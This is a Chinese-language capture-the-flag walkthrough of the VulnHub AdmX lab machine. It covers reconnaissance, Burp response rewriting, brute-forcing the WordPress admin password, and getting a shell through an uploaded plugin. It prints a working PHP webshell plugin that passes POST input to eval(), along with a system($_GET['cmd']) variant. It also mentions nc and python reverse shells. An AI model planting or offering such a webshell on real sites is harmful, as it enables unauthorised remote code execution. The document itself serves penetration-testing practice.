环境

0x04
地址:https://download.vulnhub.com/admx/AdmX_new.7z

用 virtualbox打开而且要去修改一下 https://mp.weixin.qq.com/s/9nuapORqlcYPl-Fo9am9fQ

难度=>中

内容

BurpSuite内容替换
密码爆破 (我的字典太小了没爆破出来 )
Wordpress后台漏洞利用
利用MySQL提权(sudo+执行系统命令)

操作

信息收集

主机收集搞了半天东有问题西有问题啊真难顶啊

然后本来好了我以为是扫到我虚拟机了就开了个80

扫一下目录

存在wordpress

http://192.168.3.95/tools/adminer.php 感觉后面应该用得到找到他的账号密码这种是可以直接连的一般情况mysql是不支持外连而这种不算外连

这个页面很奇怪啊而且很卡为什么这么久都没完整加载上来用burp 看看整个过程是怎么样的

看到另外一个ip 去访问http://192.168.3.95/wordpress/的过程中访问了很多次这个ip 192.168.159.145(访问不到) 这就是页面奇怪卡的原因 (这个的原因是因为我们前期修改了环境)

在burp 上修改

这些个东西是从目标服务器给客户端浏览器的返回的数据硬编码写入的

所以改 response header 响应头 response body 响应包

就变成了这个样子了

这些都变了

然后往下渗透可以看到版本但是去找也没什么可以利用的

这个登录界面当我输入admin时候的提示

当我输入admin1213123时

说明 admin账号是存在的而且没有啥验证所以就利用 burp 进行爆破

而且密码也没进行加密更加利于爆破了

但是爆破不出来 (笑死我的字典太垃圾了) 能够爆破出来的 adam14

渗透

进入后台可以看到

wordpress后台

一般wordpress获取shell有三种方式

通过media上传shell文件，但是需要特定的漏洞版本

修改主题php代码上传一句话（蚁剑）

第三种方法是使用plugins功能，安装一个我们编写的webshell 插件。在这里我新建了一个webshell.php的文件，并且压缩成zip格式，上传至WordPress的plugins处进行安装，并点击activa plugin进行激活插件。

使用第二种，在主题元素进行插入，如果上传成功，直接访问404.php，拿到shell，但结果是上传一句话时，点击更新，系统提示更改失败

试图修改已有的plugins代码更新不了所以自己上传个plugins (这里也可以用msf 来拿shell)

//前面这些注释要有 才能够导入 
<?php

/*

Plugin Name: Webshell

Plugin URI: https://github.com/171/

Description: Wordpress Webshell for Pentest

Version: 1.0

Author: 123

Author URI: https://github.com/171/

License: https://github.com/171/

*/

eval($_POST["pass"]);
//system($_GET['cmd']); 也可以这样  这样就是用nc  python 去反弹shell了 没蚁剑 哥斯拉的shell好 
?>